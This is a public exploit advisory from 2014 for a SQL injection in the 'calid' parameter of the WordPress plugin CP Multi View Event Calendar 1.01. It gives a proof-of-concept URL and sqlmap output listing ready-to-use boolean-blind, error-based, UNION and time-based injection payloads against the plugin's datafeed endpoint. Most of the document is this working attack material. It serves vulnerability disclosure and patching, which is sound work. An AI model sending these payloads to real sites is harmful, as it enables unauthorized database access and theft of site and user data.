WordPress Plugin CP Multi View Event Calendar 1.01 - SQL Injection

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# Exploit Title : CP Multi View Event Calendar 1.01 SQL Injection Vulnerability

# Exploit Author : Claudio Viviani

# Software Link : https://downloads.wordpress.org/plugin/cp-multi-view-calendar.zip

# Date : 2014-10-23

# Tested on : Windows 7 / Mozilla Firefox
              Windows 7 / sqlmap (0.8-1)
              Linux / Mozilla Firefox
              Linux / sqlmap 1.0-dev-5b2ded0

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# Description

CP Multi View Event Calendar 1.01 suffers from SQL injection vulnerability

calid variable is not sanitized.

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# PoC

http://localhost/?cpmvc_id=1&cpmvc_do_action=mvparse&f=datafeed&method=list&calid=1 [Sqli]

# Sqlmap

---
Place: GET
Parameter: calid
    Type: boolean-based blind
    Title: MySQL boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (RLIKE)
    Payload: cpmvc_id=1&cpmvc_do_action=mvparse&f=datafeed&method=list&calid=1 RLIKE (SELECT (CASE WHEN (9095=9095) THEN 1 ELSE 0x28 END))

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: cpmvc_id=1&cpmvc_do_action=mvparse&f=datafeed&method=list&calid=1 AND (SELECT 3807 FROM(SELECT COUNT(*),CONCAT(0x7171736971,(SELECT (CASE WHEN (3807=3807) THEN 1 ELSE 0 END)),0x716b716671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)

    Type: UNION query
    Title: MySQL UNION query (NULL) - 14 columns
    Payload: cpmvc_id=1&cpmvc_do_action=mvparse&f=datafeed&method=list&calid=1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,CONCAT(0x7171736971,0x6f7642724e6743615973,0x716b716671),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#

    Type: AND/OR time-based blind
    Title: MySQL < 5.0.12 AND time-based blind (heavy query)
    Payload: cpmvc_id=1&cpmvc_do_action=mvparse&f=datafeed&method=list&calid=1 AND 8168=BENCHMARK(5000000,MD5(0x4a4a6d41))
---


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Discovered By : Claudio Viviani
                http://www.homelab.it

                [email protected]
                [email protected]

                https://www.facebook.com/homelabit
                https://twitter.com/homelabit
                https://plus.google.com/+HomelabIt1/
                https://www.youtube.com/channel/UCqqmSdMqf_exicCe_DjlBww

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